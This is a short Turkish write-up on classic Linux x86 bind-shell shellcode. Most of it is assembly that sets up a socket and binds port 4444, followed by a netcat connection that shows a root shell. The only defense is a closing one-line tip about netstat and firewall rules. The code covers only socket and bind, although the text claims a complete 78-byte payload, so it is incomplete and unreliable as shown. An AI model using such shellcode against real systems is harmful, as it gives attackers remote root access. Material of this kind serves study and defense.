Klasik Shellcode - Linux x86 - 78 Bytes
Bind shell, hedef sistemde bir port acarak gelen baglantıyı bekler. Saldirgaan baglandiginda /bin/sh shell alir.
Socket Bind Listen Accept Dup2 Execve
; socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
mov al, 102 ; socketcall
mov bl, 1 ; SYS_SOCKET
push eax
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp
int 0x80
mov esi, eax ; sockfd
; bind(sockfd, port 4444)
push 0x5c110002 ; port 4444 + AF_INET
mov ecx, esp
push 16
push ecx
push esi
mov ecx, esp
mov bl, 2 ; SYS_BIND
mov al, 102
int 0x80
Netcat ile Baglanti
nc 192.168.1.100 4444
id
uid=0(root) gid=0(root)
SAVUNMA Tespit
netstat -tlnp ile acik portlari izleyin. Firewall ingress kurallari belirli portlara geleni engeller.